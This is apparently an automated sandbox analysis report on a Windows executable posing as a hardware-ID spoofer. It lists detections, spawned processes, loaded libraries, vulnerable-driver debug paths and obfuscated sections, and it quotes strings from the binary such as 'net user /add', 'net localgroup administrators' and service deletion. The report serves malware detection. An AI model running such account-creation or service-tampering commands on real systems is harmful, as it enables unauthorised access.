Source: aYu936prD4.exe	Virustotal: Detection: 48%
Source: aYu936prD4.exe	ReversingLabs: Detection: 47%

Source: aYu936prD4.exe	String found in binary or memory: password /add
Source: aYu936prD4.exe	String found in binary or memory: /add
Source: aYu936prD4.exe	String found in binary or memory: password /addnet user /addnet localgroup administrators net stop winmgmtnet start winmgmt
Source: aYu936prD4.exe	String found in binary or memory: Uninstallation is complete, A restart is required for changes to take effectUC:\Windows\Syste32\cmd /c sc Delete winmgrMC:\Windows\System32\ESCore.exe flshdns=BACKING UP SYSTEM COMPONENTS..?Backing up system componenets..9DELETING OLD RESTORE POINT..1CREATING RESTORE POINT..1Creating restore point..IEnable-ComputerRestore -Drive 'C:\' ANormal Machine (Before Spoofing)ERestore point created successfully)PREPARING STARTUPS..)Preparing Startups..+Installing spoofer...)INSTALLING SPOOFER..-Installing Succeeeded.!Pending restart.'REVERTING CHANGES..'Removing Startups..'REMOVING STARTUPS../Uninstalling spoofer...

Source: unknown	Process created: C:\Users\user\Desktop\aYu936prD4.exe "C:\Users\user\Desktop\aYu936prD4.exe"
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe chkdrv
Source: C:\Windows\System32\ESCore.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c Updater.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\VivianSpoofer.exe VivianSpoofer.exe
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe chkdrv
Source: C:\Windows\System32\ESCore.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe reg Username Token
Source: C:\Windows\System32\ESCore.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe clr
Source: C:\Windows\System32\ESCore.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe chkdrv	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c Updater.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\VivianSpoofer.exe VivianSpoofer.exe	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe chkdrv	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe reg Username Token	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process created: C:\Windows\System32\ESCore.exe C:\Windows\System32\ESCore.exe clr	Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\aYu936prD4.exe	Automated click: OK
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Automated click: OK
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Automated click: Continue
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Automated click: OK
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\aYu936prD4.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: aYu936prD4.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: aYu936prD4.exe

Static file information: File size 22372864 > 1048576

Source: aYu936prD4.exe	Static PE information: Raw size of &-RmNmFv is bigger than: 0x100000 < 0xa25e00
Source: aYu936prD4.exe	Static PE information: Raw size of %x/1D?wT is bigger than: 0x100000 < 0xa3f200

Source: aYu936prD4.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: atapi.pdbGCTL source: ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: VivianSpoofer.exe, 0000000C.00000002.3921936993.000001F2476F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\ycc\gdrv64\objfre_wnet_AMD64\amd64\gdrv64.pdb! source: ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: bthmini.pdbGCTL source: ESCore.exe, 0000000E.00000002.2687121846.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014005C000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: u.PDb{Kb source: ESCore.exe.0.dr, UpdatePackage.dat.0.dr
Source:	Binary string: mscorlib.pdb source: VivianSpoofer.exe, 0000000C.00000002.3922225419.000001F24776D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: atapi.pdb source: ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687121846.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014003A000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: System.Windows.Forms.pdbt source: VivianSpoofer.exe, 0000000C.00000002.3921936993.000001F2476F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bthmini.pdb source: ESCore.exe, 0000000E.00000002.2687121846.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885163099.000000014005C000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991200615.000000014005C000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Users\Wreko\Desktop\SinDriverExample\Output\Test.pdb source: ESCore.exe, 00000003.00000002.2096288337.0000000140037000.00000004.00000001.01000000.0000000C.sdmp
Source:	Binary string: F:\Other driver 12-03-2020\Cod Source\COD_Cleanup\x64\Release\COD_Cleanup.pdb@ source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: c:\users\cloudbuild\337244\sdk\nal\src\winnt_wdm\driver\objfre_wnet_AMD64\amd64\iqvw64e.pdb source: ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: f:\ycc\gdrv64\objfre_wnet_AMD64\amd64\gdrv64.pdb source: ESCore.exe, 00000003.00000002.2096268774.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000000E.00000002.2687100899.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000010.00000002.2885145284.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000012.00000002.2991149397.000000014001E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Users\Dyaa\source\repos\spr\x64\Release\homie.pdb source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: C:\Users\Dyaa\source\repos\UpdateEnforcer\obj\x64\Release\UpdateEnforcer.pdb source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: e:\work\dangerzone\flashdriverwin64\Release\amd64\amifldrv64.pdb source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr
Source:	Binary string: F:\Other driver 12-03-2020\Cod Source\COD_Cleanup\x64\Release\COD_Cleanup.pdb source: VivianSpoofer.exe, 0000000C.00000002.3928586010.000001F249F2C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr

Data Obfuscation

Yara detected BatToExe compiled binary

Source: Yara match	File source: aYu936prD4.exe, type: SAMPLE
Source: Yara match	File source: 12.0.VivianSpoofer.exe.1f22c6aac60.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.VivianSpoofer.exe.1f249ea1dc0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.VivianSpoofer.exe.1f249ea1dc0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.aYu936prD4.exe.2c2d69ff9ba.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.VivianSpoofer.exe.1f22c6ca2d5.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.VivianSpoofer.exe.1f249ec1435.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.aYu936prD4.exe.2c2d69ff9ba.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.VivianSpoofer.exe.1f22c6aac60.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.aYu936prD4.exe.2c2d6a1f02f.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.aYu936prD4.exe.2c2d63a3868.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.VivianSpoofer.exe.1f24989ad4f.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.VivianSpoofer.exe.1f22c0a3bef.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.VivianSpoofer.exe.1f2496f0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.VivianSpoofer.exe.1f22c0a3bef.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.VivianSpoofer.exe.1f24989ad4f.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.aYu936prD4.exe.2c2d63a3868.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.VivianSpoofer.exe.1f22bde0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3928586010.000001F249871000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.2596961641.000001F22C07A000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2026487790.000002C2D637A000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Desktop\UpdatePackage.dat, type: DROPPED

Source: initial sample

Static PE information: section where entry point is pointing to: &-RmNmFv

Source: aYu936prD4.exe	Static PE information: section name: &-RmNmFv
Source: aYu936prD4.exe	Static PE information: section name: %x/1D?wT
Source: aYu936prD4.exe	Static PE information: section name: ?`jsa?kE
Source: aYu936prD4.exe	Static PE information: section name: Z-/\dJTH
Source: aYu936prD4.exe	Static PE information: section name: uIK@O>Dr
